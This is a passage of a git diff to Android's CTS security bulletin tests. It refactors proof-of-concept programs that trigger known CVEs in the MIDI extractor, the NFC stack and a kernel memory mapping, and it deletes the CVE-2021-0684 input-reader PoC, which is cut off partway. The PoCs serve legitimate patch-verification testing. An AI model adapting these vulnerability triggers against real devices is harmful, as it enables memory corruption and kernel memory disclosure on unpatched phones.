+ fdData = open(argv[1], O_RDONLY);
+ FAIL_CHECK(fdData >= 0);
+
+ fdInfo = open(argv[2], O_RDONLY);
+ FAIL_CHECK(fdInfo >= 0);
sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
- if (!dataSource) {
- close_resources(fdData, fdInfo, libHandle);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(dataSource);
+
+ enable_selective_overload = ENABLE_ALL;
+ isTestInProgress = true;
void *meta = nullptr;
FreeMetaFunc freeMeta = nullptr;
-
float confidence = 0.0f;
if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
@@ -123,7 +125,7 @@ int main(int argc, char **argv) {
getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
}
- close_resources(fdData, fdInfo, libHandle);
- enable_selective_overload = ENABLE_NONE;
+ isTestInProgress = false;
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
index 43da25d3c3e..6ea13d67caf 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2020-0385/poc.cpp
@@ -16,46 +16,55 @@
#include <IMediaExtractor.h>
#include <dlfcn.h>
-#include <signal.h>
-#include <stdlib.h>
-#include <fcntl.h>
-
#include "../includes/common.h"
#include "../includes/memutils.h"
#if _32_BIT
#define LIBNAME "/system/lib/extractors/libmidiextractor.so"
-#define LIBNAME_APEX \
- "/apex/com.android.media/lib/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib/extractors/libmidiextractor.so"
#elif _64_BIT
#define LIBNAME "/system/lib64/extractors/libmidiextractor.so"
-#define LIBNAME_APEX \
- "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
+#define LIBNAME_APEX "/apex/com.android.media/lib64/extractors/libmidiextractor.so"
#endif
char enable_selective_overload = ENABLE_NONE;
using namespace android;
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+int fdData, fdInfo;
+
+void *libHandle = nullptr;
+
+void sigsegv_handler(int signum, siginfo_t *info, void *context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit(EXIT_FAILURE);
+}
+
class XMFDataSource : public DataSource {
-public:
- int mFdData;
- int mFdInfo;
- XMFDataSource(int fdData, int fdInfo) {
- mFdData = fdData;
- mFdInfo = fdInfo;
+ public:
+ int mFdData;
+ int mFdInfo;
+ XMFDataSource(int fdData, int fdInfo) {
+ mFdData = fdData;
+ mFdInfo = fdInfo;
}
~XMFDataSource() = default;
- virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data,
- size_t size) {
- uint32_t infoOffset, infoSize;
- read(mFdInfo, &infoSize, sizeof(int32_t));
- read(mFdInfo, &infoOffset, sizeof(int32_t));
- lseek(mFdData, infoOffset, SEEK_SET);
- read(mFdData, data, infoSize);
- return size;
+ virtual ssize_t readAt(off64_t offset __attribute__((unused)), void *data, size_t size) {
+ uint32_t infoOffset, infoSize;
+ read(mFdInfo, &infoSize, sizeof(int32_t));
+ read(mFdInfo, &infoOffset, sizeof(int32_t));
+ lseek(mFdData, infoOffset, SEEK_SET);
+ read(mFdData, data, infoSize);
+ return size;
}
virtual status_t getSize(off64_t *size) {
@@ -65,57 +74,50 @@ public:
virtual status_t initCheck() const { return 0; }
};
-void close_resources(int fdData, int fdInfo, void *libHandle) {
- if (fdData >= 0) {
- ::close(fdData);
- }
- if (fdInfo >= 0) {
- ::close(fdInfo);
- }
- if (libHandle) {
- dlclose(libHandle);
- }
+void close_resources() {
+ if (fdData >= 0) {
+ ::close(fdData);
+ }
+ if (fdInfo >= 0) {
+ ::close(fdInfo);
+ }
+ if (libHandle) {
+ dlclose(libHandle);
+ }
}
int main(int argc, char **argv) {
- if (argc < 3) {
- return EXIT_FAILURE;
- }
- enable_selective_overload = ENABLE_ALL;
- void *libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
- if (!libHandle) {
- libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ atexit(close_resources);
+
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ FAIL_CHECK(argc == 3);
+ libHandle = dlopen(LIBNAME, RTLD_NOW | RTLD_LOCAL);
if (!libHandle) {
- return EXIT_FAILURE;
- }
+ libHandle = dlopen(LIBNAME_APEX, RTLD_NOW | RTLD_LOCAL);
+ FAIL_CHECK(libHandle);
}
GetExtractorDef getDef = (GetExtractorDef)dlsym(libHandle, "GETEXTRACTORDEF");
- if (!getDef) {
- dlclose(libHandle);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(getDef);
- int fdData = open(argv[1], O_RDONLY);
- if (fdData < 0) {
- dlclose(libHandle);
- return EXIT_FAILURE;
- }
- int fdInfo = open(argv[2], O_RDONLY);
- if (fdInfo < 0) {
- close_resources(fdData, fdInfo, libHandle);
- return EXIT_FAILURE;
- }
+ fdData = open(argv[1], O_RDONLY);
+ FAIL_CHECK(fdData >= 0);
+
+ fdInfo = open(argv[2], O_RDONLY);
+ FAIL_CHECK(fdInfo >= 0);
sp<DataSource> dataSource = (sp<DataSource>)new XMFDataSource(fdData, fdInfo);
- if (!dataSource) {
- close_resources(fdData, fdInfo, libHandle);
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(dataSource);
+
+ enable_selective_overload = ENABLE_ALL;
+ isTestInProgress = true;
void *meta = nullptr;
FreeMetaFunc freeMeta = nullptr;
-
float confidence = 0.0f;
if (getDef().def_version == EXTRACTORDEF_VERSION_NDK_V1) {
getDef().u.v2.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
@@ -123,7 +125,7 @@ int main(int argc, char **argv) {
getDef().u.v3.sniff(dataSource->wrap(), &confidence, &meta, &freeMeta);
}
- close_resources(fdData, fdInfo, libHandle);
- enable_selective_overload = ENABLE_NONE;
+ isTestInProgress = false;
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
return EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
index 947f46a2007..3f37ed29fd6 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0430/poc.cpp
@@ -14,6 +14,8 @@
* limitations under the License.
*/
+#include <../includes/common.h>
+#include <../includes/memutils.h>
#include <nfc_int.h>
#include <rw_int.h>
@@ -22,6 +24,18 @@
extern tRW_CB rw_cb;
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+struct sigaction new_action, old_action;
+void sigsegv_handler(int signum, siginfo_t* info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ exit(EXIT_FAILURE);
+}
+
void GKI_freebuf(void*) {
}
@@ -34,7 +48,23 @@ void GKI_stop_timer(uint8_t) {
void cback(tRW_EVENT, tRW_DATA*) {
}
+void poc_cback(tRW_EVENT event, tRW_DATA* p_rw_data) {
+ (void)event;
+ (void)p_rw_data;
+}
+
int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
+ new_action.sa_sigaction = sigsegv_handler;
+ sigaction(SIGSEGV, &new_action, &old_action);
+
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
+
tRW_MFC_CB* p_mfc = &rw_cb.tcb.mfc;
GKI_init();
@@ -42,9 +72,9 @@ int main() {
uint8_t selres = 1;
uint8_t uid[MFC_UID_LEN] = { 1 };
- if (rw_mfc_select(selres, uid) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+
+ enable_selective_overload = ENABLE_MALLOC_CHECK;
+ FAIL_CHECK(rw_mfc_select(selres, uid) == NFC_STATUS_OK);
p_mfc->state = RW_MFC_STATE_READ_NDEF;
p_mfc->substate = RW_MFC_SUBSTATE_READ_BLOCK;
@@ -52,14 +82,12 @@ int main() {
tNFC_CONN_CB* p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
tNFC_CONN* p_data = (tNFC_CONN*) malloc(sizeof(tNFC_CONN));
- if (!p_data) {
- return EXIT_FAILURE;
- }
+ FAIL_CHECK(p_data);
p_data->data.p_data = (NFC_HDR*) malloc(sizeof(uint8_t) * 16);
if (!(p_data->data.p_data)) {
free(p_data);
- return EXIT_FAILURE;
+ FAIL_CHECK(p_data->data.p_data);
}
p_data->data.status = NFC_STATUS_OK;
@@ -70,15 +98,18 @@ int main() {
mfc_data->offset = 0;
p_mfc->ndef_length = 1024;
p_mfc->p_ndef_buffer = (uint8_t*) malloc(sizeof(uint8_t) * 16);
+ enable_selective_overload = ENABLE_FREE_CHECK | ENABLE_REALLOC_CHECK;
if (!(p_mfc->p_ndef_buffer)) {
free(p_data->data.p_data);
free(p_data);
- return EXIT_FAILURE;
+ FAIL_CHECK(p_mfc->p_ndef_buffer);
}
rw_cb.p_cback = cback;
+ isTestInProgress = true;
p_cb->p_cback(0, event, p_data);
+ isTestInProgress = false;
free(p_mfc->p_ndef_buffer);
free(p_data->data.p_data);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
index d7650ad4d5f..152f5384323 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0473/poc.cpp
@@ -92,27 +92,31 @@ void GKI_freebuf(void *ptr) {
}
int main() {
- tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
+ tNFC_ACTIVATE_DEVT p_activate_params = {};
+ p_activate_params.protocol = NFC_PROTOCOL_ISO_DEP;
+ p_activate_params.rf_tech_param.mode = NFC_DISCOVERY_TYPE_POLL_A;
+ RW_SetActivatedTagType(&p_activate_params, &poc_cback);
+ FAIL_CHECK(rw_cb.p_cback == &poc_cback);
- GKI_init();
- rw_init();
- rw_cb.p_cback = &poc_cback;
+ tRW_T3T_CB *p_t3t = &rw_cb.tcb.t3t;
- uint8_t peerNfcID[NCI_RF_F_UID_LEN];
- uint8_t mrtiCheck = 1, mrtiUpdate = 1;
- if (rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) != NFC_STATUS_OK) {
- return EXIT_FAILURE;
- }
+ GKI_init();
+ rw_init();
+ rw_cb.p_cback = &poc_cback;
+
+ uint8_t peerNfcID[NCI_RF_F_UID_LEN];
+ uint8_t mrtiCheck = 1, mrtiUpdate = 1;
+ FAIL_CHECK(rw_t3t_select(peerNfcID, mrtiCheck, mrtiUpdate) == NFC_STATUS_OK);
- tNFC_CONN p_data = {};
- NFC_HDR nfcHdr = {};
- p_data.data.p_data = &nfcHdr;
+ tNFC_CONN p_data = {};
+ NFC_HDR nfcHdr = {};
+ p_data.data.p_data = &nfcHdr;
- tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
- p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
+ tNFC_CONN_CB *p_cb = &nfc_cb.conn_cb[NFC_RF_CONN_ID];
+ p_t3t->rw_state = RW_T3T_STATE_COMMAND_PENDING;
- uint8_t conn_id = NFC_RF_CONN_ID;
- tNFC_CONN_EVT event = NFC_ERROR_CEVT;
- p_cb->p_cback(conn_id, event, &p_data);
- return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
+ uint8_t conn_id = NFC_RF_CONN_ID;
+ tNFC_CONN_EVT event = NFC_ERROR_CEVT;
+ p_cb->p_cback(conn_id, event, &p_data);
+ return (kIsVulnerable) ? EXIT_VULNERABLE : EXIT_SUCCESS;
}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
index 793ad9c81c0..04a9c990387 100644
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0490/poc.cpp
@@ -358,18 +358,18 @@ int poc_write_kernel() {
ALOGE("re_buf addr:%p", re_buf);
ALOGE("re_buf[0]:%x", re_buf[0]);
- int read_num = 0;
+ unsigned long read_num = 0;
int counter = 0;
unsigned long *read_buf = (unsigned long *)re_buf;
for (read_num = 0; read_num < MMAP_SIZE/sizeof(unsigned long); read_num++) {
if (read_buf[read_num]) {
//reduce number of log messages
if(counter++ % 8 == 0){
- ALOGE("read_buf[%d]:0x%lx", read_num, read_buf[read_num]);
+ ALOGE("read_buf[%lu]:0x%lx", read_num, read_buf[read_num]);
}
}
}
- ALOGE("read_num = %d", read_num);
+ ALOGE("read_num = %lu", read_num);
ALOGE("non zero = %d", counter);
memset(re_buf, 0xbb, MMAP_SIZE);
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
deleted file mode 100644
index 875a38ad762..00000000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.cpp
+++ /dev/null
@@ -1,111 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#include "TestInputListener.h"
-
-namespace android {
-
-// --- TestInputListener ---
-
-TestInputListener::TestInputListener(std::chrono::milliseconds eventHappenedTimeout,
- std::chrono::milliseconds eventDidNotHappenTimeout)
- : mEventHappenedTimeout(eventHappenedTimeout),
- mEventDidNotHappenTimeout(eventDidNotHappenTimeout) {}
-
-TestInputListener::~TestInputListener() {}
-
-template <class NotifyArgsType>
-void TestInputListener::assertCalled(NotifyArgsType* outEventArgs, std::string message) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- if (queue.empty()) {
- const bool eventReceived =
- mCondition.wait_for(lock, mEventHappenedTimeout,
- [&queue]() REQUIRES(mLock) { return !queue.empty(); });
- if (!eventReceived) {
- return;
- }
- }
- if (outEventArgs) {
- *outEventArgs = *queue.begin();
- }
- queue.erase(queue.begin());
-}
-
-template <class NotifyArgsType>
-void TestInputListener::assertNotCalled(std::string message) {
- std::unique_lock<std::mutex> lock(mLock);
- base::ScopedLockAssertion assumeLocked(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- const bool eventReceived =
- mCondition.wait_for(lock, mEventDidNotHappenTimeout,
- [&queue]() REQUIRES(mLock) { return !queue.empty(); });
- if (eventReceived) {
- return;
- }
-}
-
-template <class NotifyArgsType>
-void TestInputListener::notify(const NotifyArgsType* args) {
- std::scoped_lock<std::mutex> lock(mLock);
-
- std::vector<NotifyArgsType>& queue = std::get<std::vector<NotifyArgsType>>(mQueues);
- queue.push_back(*args);
- mCondition.notify_all();
-}
-
-void TestInputListener::notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) {
- notify<NotifyConfigurationChangedArgs>(args);
-}
-
-void TestInputListener::notifyDeviceReset(const NotifyDeviceResetArgs* args) {
- notify<NotifyDeviceResetArgs>(args);
-}
-
-void TestInputListener::notifyKey(const NotifyKeyArgs* args) {
- notify<NotifyKeyArgs>(args);
-}
-
-void TestInputListener::notifyMotion(const NotifyMotionArgs* args) {
- notify<NotifyMotionArgs>(args);
-}
-
-void TestInputListener::notifySwitch(const NotifySwitchArgs* args) {
- notify<NotifySwitchArgs>(args);
-}
-
-void TestInputListener::notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) {
- notify<NotifyPointerCaptureChangedArgs>(args);
-}
-
-void TestInputListener::notifySensor(const NotifySensorArgs* args) {
- notify<NotifySensorArgs>(args);
-}
-
-void TestInputListener::notifyVibratorState(const NotifyVibratorStateArgs* args) {
- notify<NotifyVibratorStateArgs>(args);
-}
-
-} // namespace android
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
deleted file mode 100644
index 067ac835ba2..00000000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/TestInputListener.h
+++ /dev/null
@@ -1,85 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#ifndef _UI_TEST_INPUT_LISTENER_H
-#define _UI_TEST_INPUT_LISTENER_H
-
-#include <android-base/thread_annotations.h>
-#include "InputListener.h"
-
-using std::chrono_literals::operator""ms;
-
-namespace android {
-
-// --- TestInputListener ---
-
-class TestInputListener : public InputListenerInterface {
-protected:
- virtual ~TestInputListener();
-
-public:
- TestInputListener(std::chrono::milliseconds eventHappenedTimeout = 0ms,
- std::chrono::milliseconds eventDidNotHappenTimeout = 0ms);
-
- template <class NotifyArgsType>
- void assertCalled(NotifyArgsType* outEventArgs, std::string message);
-
- template <class NotifyArgsType>
- void assertNotCalled(std::string message);
-
- template <class NotifyArgsType>
- void notify(const NotifyArgsType* args);
-
- virtual void notifyConfigurationChanged(const NotifyConfigurationChangedArgs* args) override;
-
- virtual void notifyDeviceReset(const NotifyDeviceResetArgs* args) override;
-
- virtual void notifyKey(const NotifyKeyArgs* args) override;
-
- virtual void notifyMotion(const NotifyMotionArgs* args) override;
-
- virtual void notifySwitch(const NotifySwitchArgs* args) override;
-
- virtual void notifySensor(const NotifySensorArgs* args) override;
-
- virtual void notifyVibratorState(const NotifyVibratorStateArgs* args) override;
-
- virtual void notifyPointerCaptureChanged(const NotifyPointerCaptureChangedArgs* args) override;
-
- std::mutex mLock;
- std::condition_variable mCondition;
- const std::chrono::milliseconds mEventHappenedTimeout;
- const std::chrono::milliseconds mEventDidNotHappenTimeout;
-
- std::tuple<std::vector<NotifyConfigurationChangedArgs>, //
- std::vector<NotifyDeviceResetArgs>, //
- std::vector<NotifyKeyArgs>, //
- std::vector<NotifyMotionArgs>, //
- std::vector<NotifySwitchArgs>, //
- std::vector<NotifySensorArgs>, //
- std::vector<NotifyVibratorStateArgs>, //
- std::vector<NotifyPointerCaptureChangedArgs>> //
- mQueues GUARDED_BY(mLock);
-};
-
-} // namespace android
-#endif
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
deleted file mode 100644
index 13b33b6771f..00000000000
--- a/hostsidetests/securitybulletin/securityPatch/CVE-2021-0684/poc.cpp
+++ /dev/null
@@ -1,1236 +0,0 @@
-/*
- * Copyright (C) 2021 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-/* 'frameworks/native/services/inputflinger/tests/TestInputListener.cpp'
- * is used as reference to come up with file
- * Only code pertaining to gtest 'Process_DeactivateViewport_AbortTouches' is
- * retained
- */
-
-#include <InputMapper.h>
-#include <InputReader.h>
-#include <InputReaderBase.h>
-#include <InputReaderFactory.h>
-#include <MultiTouchInputMapper.h>
-#include <TestInputListener.h>
-
-namespace android {
-
-using std::chrono_literals::operator""ms;
-using namespace android::flag_operators;
-
-// Timeout for waiting for an expected event
-static constexpr std::chrono::duration WAIT_TIMEOUT = 100ms;
-
-// An arbitrary time value.
-static constexpr nsecs_t ARBITRARY_TIME = 1234;
-static constexpr nsecs_t READ_TIME = 4321;
-
-// Arbitrary display properties.
-static constexpr int32_t DISPLAY_ID = 0;
-static constexpr int32_t DISPLAY_WIDTH = 480;
-static constexpr int32_t DISPLAY_HEIGHT = 800;
-static constexpr std::optional<uint8_t> NO_PORT = std::nullopt;
-static constexpr int32_t BATTERY_STATUS = 4;
-static constexpr int32_t BATTERY_CAPACITY = 66;
-static constexpr int32_t RAW_X_MIN = 25;
-static constexpr int32_t RAW_X_MAX = 1019;
-static constexpr int32_t RAW_Y_MIN = 30;
-static constexpr int32_t RAW_Y_MAX = 1009;
-constexpr int32_t DEVICE_ID = END_RESERVED_ID + 1000;
-constexpr int32_t DEVICE_GENERATION = 2;
-
-const char* DEVICE_NAME = "device";
-const char* DEVICE_LOCATION = "USB1";
-const Flags<InputDeviceClass> DEVICE_CLASSES = Flags<InputDeviceClass>(0);
-constexpr int32_t EVENTHUB_ID = 1;
-const std::string UNIQUE_ID = "local:0";
-
-template <typename T>
-static inline T min(T a, T b) {
- return a < b ? a : b;
-}
-
-// --- TestPointerController ---
-
-class TestPointerController : public PointerControllerInterface {
- bool mHaveBounds;
- float mMinX, mMinY, mMaxX, mMaxY;
- float mX, mY;
- int32_t mButtonState;
- int32_t mDisplayId;
-
-public:
- TestPointerController()
- : mHaveBounds(false),
- mMinX(0),
- mMinY(0),
- mMaxX(0),
- mMaxY(0),
- mX(0),
- mY(0),
- mButtonState(0),
- mDisplayId(ADISPLAY_ID_DEFAULT) {}
-
- virtual ~TestPointerController() {}
-
- void setBounds(float minX, float minY, float maxX, float maxY) {
- mHaveBounds = true;
- mMinX = minX;
- mMinY = minY;
- mMaxX = maxX;
- mMaxY = maxY;
- }
-
- void setPosition(float x, float y) override {
- mX = x;
- mY = y;
- }
-
- void setButtonState(int32_t buttonState) override { mButtonState = buttonState; }
-
- int32_t getButtonState() const override { return mButtonState; }
-
- void getPosition(float* outX, float* outY) const override {
- *outX = mX;
- *outY = mY;
- }
-
- int32_t getDisplayId() const override { return mDisplayId; }
-
- void setDisplayViewport(const DisplayViewport& viewport) override {
- mDisplayId = viewport.displayId;
- }
-
- const std::map<int32_t, std::vector<int32_t>>& getSpots() { return mSpotsByDisplay; }
-
-private:
- bool getBounds(float* outMinX, float* outMinY, float* outMaxX, float* outMaxY) const override {
- *outMinX = mMinX;
- *outMinY = mMinY;
- *outMaxX = mMaxX;
- *outMaxY = mMaxY;
- return mHaveBounds;
- }
-
- void move(float deltaX, float deltaY) override {
- mX += deltaX;
- if (mX < mMinX) mX = mMinX;
- if (mX > mMaxX) mX = mMaxX;
- mY += deltaY;
- if (mY < mMinY) mY = mMinY;
- if (mY > mMaxY) mY = mMaxY;
- }
-
- void fade(Transition) override {}
-
- void unfade(Transition) override {}
-
- void setPresentation(Presentation) override {}
-
- void setSpots(const PointerCoords*, const uint32_t*, BitSet32 spotIdBits,
- int32_t displayId) override {
- std::vector<int32_t> newSpots;
- // Add spots for fingers that are down.
- for (BitSet32 idBits(spotIdBits); !idBits.isEmpty();) {
- uint32_t id = idBits.clearFirstMarkedBit();
- newSpots.push_back(id);
- }
-
- mSpotsByDisplay[displayId] = newSpots;
- }
-
- void clearSpots() override {}
-
- std::map<int32_t, std::vector<int32_t>> mSpotsByDisplay;
-};
-
-// --- TestInputReaderPolicy---
-
-class TestInputReaderPolicy : public InputReaderPolicyInterface {
- std::mutex mLock;
- std::condition_variable mDevicesChangedCondition;
-
- InputReaderConfiguration mConfig;
- std::unordered_map<int32_t, std::shared_ptr<TestPointerController>> mPointerControllers;
- std::vector<InputDeviceInfo> mInputDevices GUARDED_BY(mLock);
- bool mInputDevicesChanged GUARDED_BY(mLock){false};
- std::vector<DisplayViewport> mViewports;
- TouchAffineTransformation transform;
-
-protected:
- virtual ~TestInputReaderPolicy() {}
-
-public:
- TestInputReaderPolicy() {}
-
- virtual void clearViewports() {
- mViewports.clear();
- mConfig.setDisplayViewports(mViewports);
- }
-
- std::optional<DisplayViewport> getDisplayViewportByUniqueId(const std::string& uniqueId) const {
- return mConfig.getDisplayViewportByUniqueId(uniqueId);
- }
- std::optional<DisplayViewport> getDisplayViewportByType(ViewportType type) const {
- return mConfig.getDisplayViewportByType(type);
- }
-
- std::optional<DisplayViewport> getDisplayViewportByPort(uint8_t displayPort) const {
- return mConfig.getDisplayViewportByPort(displayPort);
- }
-
- void addDisplayViewport(int32_t displayId, int32_t width, int32_t height, int32_t orientation,
- bool isActive, const std::string& uniqueId,
- std::optional<uint8_t> physicalPort, ViewportType viewportType) {
- const DisplayViewport viewport =
- createDisplayViewport(displayId, width, height, orientation, isActive, uniqueId,
- physicalPort, viewportType);
- mViewports.push_back(viewport);
- mConfig.setDisplayViewports(mViewports);
- }
-
- bool updateViewport(const DisplayViewport& viewport) {
- size_t count = mViewports.size();
- for (size_t i = 0; i < count; i++) {
- const DisplayViewport& currentViewport = mViewports[i];
- if (currentViewport.displayId == viewport.displayId) {
- mViewports[i] = viewport;
- mConfig.setDisplayViewports(mViewports);
- return true;
- }
- }
- // no viewport found.
- return false;
- }
-
- void addExcludedDeviceName(const std::string& deviceName) {
- mConfig.excludedDeviceNames.push_back(deviceName);
- }
-
- void addInputPortAssociation(const std::string& inputPort, uint8_t displayPort) {
- mConfig.portAssociations.insert({inputPort, displayPort});
- }
-
- void addInputUniqueIdAssociation(const std::string& inputUniqueId,
- const std::string& displayUniqueId) {
- mConfig.uniqueIdAssociations.insert({inputUniqueId, displayUniqueId});
- }
-
- void addDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.insert(deviceId); }
-
- void removeDisabledDevice(int32_t deviceId) { mConfig.disabledDevices.erase(deviceId); }
-
- void setPointerController(int32_t deviceId, std::shared_ptr<TestPointerController> controller) {
- mPointerControllers.insert_or_assign(deviceId, std::move(controller));
- }
-
- const InputReaderConfiguration* getReaderConfiguration() const { return &mConfig; }
-
- const std::vector<InputDeviceInfo>& getInputDevices() const { return mInputDevices; }
-
- TouchAffineTransformation getTouchAffineTransformation(const std::string& inputDeviceDescriptor,
- int32_t surfaceRotation) {
- return transform;
- }
-
- void setTouchAffineTransformation(const TouchAffineTransformation t) { transform = t; }
-
- void setPointerCapture(bool enabled) { mConfig.pointerCapture = enabled; }
-
- void setShowTouches(bool enabled) { mConfig.showTouches = enabled; }
-
- void setDefaultPointerDisplayId(int32_t pointerDisplayId) {
- mConfig.defaultPointerDisplayId = pointerDisplayId;
- }
-
- float getPointerGestureMovementSpeedRatio() { return mConfig.pointerGestureMovementSpeedRatio; }
-
-private:
- DisplayViewport createDisplayViewport(int32_t displayId, int32_t width, int32_t height,
- int32_t orientation, bool isActive,
- const std::string& uniqueId,
- std::optional<uint8_t> physicalPort, ViewportType type) {
- bool isRotated =
- (orientation == DISPLAY_ORIENTATION_90 || orientation == DISPLAY_ORIENTATION_270);
- DisplayViewport v;
- v.displayId = displayId;
- v.orientation = orientation;
- v.logicalLeft = 0;
- v.logicalTop = 0;
- v.logicalRight = isRotated ? height : width;
- v.logicalBottom = isRotated ? width : height;
- v.physicalLeft = 0;
- v.physicalTop = 0;
- v.physicalRight = isRotated ? height : width;
- v.physicalBottom = isRotated ? width : height;
- v.deviceWidth = isRotated ? height : width;
- v.deviceHeight = isRotated ? width : height;
- v.isActive = isActive;
- v.uniqueId = uniqueId;
- v.physicalPort = physicalPort;
- v.type = type;
- return v;
- }
-
- void getReaderConfiguration(InputReaderConfiguration* outConfig) override {
- *outConfig = mConfig;
- }
-
- std::shared_ptr<PointerControllerInterface> obtainPointerController(int32_t deviceId) override {
- return mPointerControllers[deviceId];
- }
-
- void notifyInputDevicesChanged(const std::vector<InputDeviceInfo>& inputDevices) override {
- std::scoped_lock<std::mutex> lock(mLock);
- mInputDevices = inputDevices;
- mInputDevicesChanged = true;
- mDevicesChangedCondition.notify_all();
- }
-
- std::shared_ptr<KeyCharacterMap> getKeyboardLayoutOverlay(
- const InputDeviceIdentifier&) override {
